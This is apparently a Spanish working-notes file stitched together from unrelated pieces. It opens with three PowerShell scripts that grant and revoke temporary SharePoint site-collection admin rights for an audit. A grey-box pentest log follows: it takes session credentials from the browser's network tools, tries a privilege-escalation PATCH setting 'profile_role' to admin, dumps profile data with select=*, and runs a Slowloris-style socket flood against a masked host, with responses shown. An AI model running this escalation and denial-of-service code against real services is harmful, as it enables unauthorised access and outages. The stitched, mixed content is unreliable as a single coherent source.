Andrei

Sebastian

Hilohe.

# ==============================================================================
# SCRIPT 1: ASIGNACIÓN DE PERMISOS TEMPORALES (MODO LOTE 10x10)
# ==============================================================================

# 1. PARÁMETROS BÁSICOS
$ArchivoSitiosCSV = "C:\temp\ListaSitios_Auditoria.csv"
$AdminUser        = "[CUENTA_TECNICA_REDACTADA]"
$AdminCenterUrl   = "https://[TENANT_REDACTADO]-admin.sharepoint.com"

# 2. CARGA DE MÓDULO NATIVO (SPO Service)
Write-Host "Cargando módulo nativo de SharePoint Online..." -ForegroundColor Cyan
try {
    Import-Module Microsoft.Online.SharePoint.PowerShell -ErrorAction Stop
} catch {
    Write-Host "ERROR: Módulo no encontrado. Ejecuta: Install-Module Microsoft.Online.SharePoint.PowerShell" -ForegroundColor Red; exit
}

# 3. CONEXIÓN SEGURA AL TENANT
Connect-SPOService -Url $AdminCenterUrl

# 4. LECTURA Y LIMPIEZA DE LISTA
$Sitios = Import-Csv -Path $ArchivoSitiosCSV -Delimiter ";"
$total = $Sitios.Count
$exito = $fallo = 0

# 5. BUCLE DE ASIGNACIÓN (Paso previo obligatorio para la extracción)
foreach ($Sitio in $Sitios) {
    $url = $Sitio.SiteUrl -replace '\?.*$', '' # Limpia parámetros de la URL
    
    Write-Host "Asignando admin en: $url" -NoNewline
    try {
        # Aplicamos el privilegio de "Site Collection Admin"
        Set-SPOUser -Site $url -LoginName $AdminUser -IsSiteCollectionAdmin $true -ErrorAction Stop
        Write-Host " [OK]" -ForegroundColor Green; $exito++
    } catch {
        Write-Host " [ERROR]" -ForegroundColor Red; $fallo++
    }
}
Write-Host "`nAsignación completada. Listos para Script 2." -ForegroundColor Cyan

# ==============================================================================
# SCRIPT 2: EXTRACCIÓN MASIVA CON SESIÓN MAESTRA Y HACK DE ADMINS OCULTOS
# ==============================================================================

$ArchivoSitiosCSV = "C:\temp\ListaSitios_Auditoria.csv"
$OutXlsx          = "C:\temp\Reporte_SPO_Auditoria.xlsx"
$ClientId         = "[CLIENT_ID_REDACTADO]"

# Filtros de exclusión (limpieza de Service Accounts y robots)
$Filtros = @("Cuenta del sistema", "System Account", "SHAREPOINT\system", "app@sharepoint")

# SESIÓN MAESTRA: Login único interactivo al inicio
Write-Host "Validando Sesión Maestra en Tenant corporativo..." -ForegroundColor Cyan
try {
    Connect-PnPOnline -Url "https://[TENANT_REDACTADO].sharepoint.com" -Interactive -ClientId $ClientId
} catch { exit }

# IMPORTACIÓN DE SITIOS PARA PROCESAR
$Sitios = Import-Csv -Path $ArchivoSitiosCSV -Delimiter ";"
$Resultados = @()

foreach ($Sitio in $Sitios) {
    $url = $Sitio.SiteUrl -replace '\?.*$', ''
    
    try {
        # Conexión silenciosa reutilizando el token master
        Connect-PnPOnline -Url $url -ClientId $ClientId
        $web = Get-PnPWeb -Includes AssociatedOwnerGroup, AssociatedMemberGroup

        # --- HACK TÉCNICO: Descubriendo Admins Ocultos ---
        # Consultamos directamente la lista maestra de usuarios del sitio
        $userList = Get-PnPListItem -List "SiteUserInfoList" -PageSize 500
        $AdminsReal = $userList | Where-Object { $_["IsSiteAdmin"] -eq $true } | ForEach-Object { $_["Title"] }

        # --- EXTRACCIÓN GRUPOS M365 (Matriz) ---
        $siteObj = Get-PnPSite -Includes GroupId
        $OwnersM365 = Get-PnPMicrosoft365GroupOwner -Identity $siteObj.GroupId | Select -Expand DisplayName

        # Guardamos objeto con datos limpios
        $Resultados += [PSCustomObject]@{
            SiteName = $Sitio.SiteName
            Url      = $url
            Admins   = ($AdminsReal -join "; ")
            Owners   = ($OwnersM365 -join "; ")
        }
        Write-Host "Auditoría OK: $($Sitio.SiteName)" -ForegroundColor Green
    } catch { 
        Write-Host "Fallo en sitio: $url" -ForegroundColor Red
    }
}

# Exportación final formateada para Auditoría
$Resultados | Export-Csv -Path $OutXlsx -NoTypeInformation -Encoding UTF8BOM -Delimiter ";"

# ==============================================================================
# SCRIPT 3: REVOCACIÓN DE PERMISOS (CIERRE DE SEGURIDAD POST-AUDITORÍA)
# ==============================================================================

$ArchivoSitiosCSV = "C:\temp\ListaSitios_Auditoria.csv"
$AdminUser        = "[CUENTA_TECNICA_REDACTADA]"
$AdminCenterUrl   = "https://[TENANT_REDACTADO]-admin.sharepoint.com"

# Conexión al centro de control
Connect-SPOService -Url $AdminCenterUrl

# LECTURA DE LISTA DE CIERRE
$Sitios = Import-Csv -Path $ArchivoSitiosCSV -Delimiter ";"

foreach ($Sitio in $Sitios) {
    $url = $Sitio.SiteUrl -replace '\?.*$', ''
    
    Write-Host "Revocando accesos en: $url" -NoNewline
    try {
        # El flag $false elimina el usuario de Administradores de Colección de Sitios
        Set-SPOUser -Site $url -LoginName $AdminUser -IsSiteCollectionAdmin $false -ErrorAction Stop
        Write-Host " [CERRADO]" -ForegroundColor Yellow
    } catch {
        Write-Host " [FALLO]" -ForegroundColor Red
    }
}

Write-Host "`nAuditoría finalizada y entorno bastionado correctamente." -ForegroundColor Green

Fase 0: Intercepción de Tráfico (Caja Gris)

Extracción de credenciales de sesión directamente desde el Inspector de Red para atacar la API sin pasar por el frontend de Next.js.

Intento de forzar el atributo profile_role: admin inyectando JSON directamente en el endpoint de perfiles.

# Forzando rol administrativo
payload = { "profile_role": "admin" }
url = f"{BASE_URL}/profiles?id=eq.{MI_UUID}"

print("[!] Probando escalada...")
resp = requests.patch(url, 
       headers=HEADERS, 
       json=payload)
print(f"Status: {resp.status_code}")

[HTTP 400 Bad Request]
{
  "code": "23514",
  "message": "new row violates 
  check constraint 
  \"profiles_role_check\"",
  "hint": null,
  "details": null
}

La API devuelve la estructura íntegra de la base de datos sin filtros a nivel de columna.

# Forzamos a la API a devolver TODO (*)
url = f"{BASE_URL}/profiles?id=eq.{MI_UUID}&select=*"
response = requests.get(url, headers=HEADERS)
print(json.dumps(response.json(), indent=2))

[
  {
    "id": "8***-***a",
    "company_id": "0***-***e",
    "full_name": "A*** S*** H***",
    "avatar_url": null,
    "phone": "",
    "profile_role": "user",
    "status": "active",
    "language": "es",
    "timezone": "Europe/Madrid",
    "created_at": "2026-04-10...",
    "updated_at": "2026-04-10...",
    "email": "a***@c***y.com",
    "is_authorized": false,
    "send_notifications": true
  }
]

Intento de saturación de sockets mediante conexiones HTTP parciales para agotar los hilos de trabajo del servidor.

import socket, random
target = "n***s.k***s.com"

def init_socket(ip):
    s = socket.socket(socket.AF_INET, 
        socket.SOCK_STREAM)
    s.settimeout(4)
    s.connect((ip, 443))
    s.send("GET /?{} HTTP/1.1\r\n".format(
        random.randint(0, 2000)).encode("utf-8"))
    return s

# Lanzando 200 sockets concurrentes

HTTP/1.1 200 OK
Date: Wed, 14 Apr 2026
Content-Type: text/html
Connection: keep-alive
CF-Ray: ***-MAD
Server: cloudflare
X-Vercel-Cache: HIT
X-Vercel-ID: ***::***

[!] Veredicto: Mitigado por Edge Network. 
Los nodos perimetrales absorben el pool 
de sockets sin afectar al backend.